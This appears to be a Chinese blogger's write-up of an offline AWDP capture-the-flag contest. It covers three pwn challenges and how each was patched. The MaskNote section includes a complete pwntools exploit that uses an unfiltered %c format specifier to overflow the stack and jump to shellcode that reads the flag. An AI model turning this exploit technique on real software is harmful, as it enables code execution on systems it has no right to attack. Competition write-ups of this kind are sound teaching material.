2023国赛华东南分区赛

年轻人的第一次线下AWDP赛

Posted by l0tus on 2023-07-01
Estimated Reading Time 2 Minutes
Words 438 In Total
Viewed Times

MaskNote

pic
一道假的堆题,漏洞是sprintf的格式化字符串漏洞,过滤了%x,%n和%p,但是没用过滤%c,利用格式化字符串的%c可以实现栈溢出。
pic
程序在初始化的时候mmap了一块很大的地址,可读可写可执行,塞shellcode就可以。
pic

attack

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
# -*- coding: utf-8 -*-
from platform import libc_ver
from pwn import *
from hashlib import sha256
import base64
import time
context.log_level='debug'
context.arch = 'amd64'

io = lambda : r.interactive()
sl = lambda a : r.sendline(a)
sla = lambda a,b : r.sendlineafter(a,b)
se = lambda a : r.send(a)
sa = lambda a,b : r.sendafter(a,b)
lg = lambda name,data : log.success(name + ":" + hex(data))

def z():
gdb.attach(r)
time.sleep(2)

def exp():
global r
global libc
r=process('./MaskNote')
#r = remote("175.20.41.208",9999)
code = shellcraft.open('flag')
code += shellcraft.read('rax',0x80808100,0x40)
code += shellcraft.write(1,0x80808100,0x40)
shellcode = asm(code)
gdb.attach(r)
sla(b"your name:" ,b"x1ngx1ng"*2+shellcode)
sla(b"Mask:",b"%136c"+p64(0x80808010))
sla(b">>",b"5")
io()


if __name__ == '__main__':
exp()

fix

修复的话就把第一次read name的长度缩小就可以
pic

notepad

一道2.35的堆题,利用没怎么看(不熟),就修了洞
pic
问题在这,free完堆块后指针置零的时候下标歪了。导致可以uaf

fix

pic
修复的话就把下标改成了0
pic

colorfulnote

main函数不知道为什么ida没法解析。就看汇编
pic
洞在这里,输入key1、key2异或之后有概率溢出,会导致进程崩溃

fix

一开始想的是直接nop异或,但是报了服务异常
赛后问了nameless师兄,他的做法是nop下面那条把寄存器里的值存到栈上的指令。。。
很可惜当时没有试,痛失分数
pic

写不下去了

我即将死亡


如果您喜欢此博客或发现它对您有用,则欢迎对此发表评论。 也欢迎您共享此博客,以便更多人可以参与。 如果博客中使用的图像侵犯了您的版权,请与作者联系以将其删除。 谢谢 !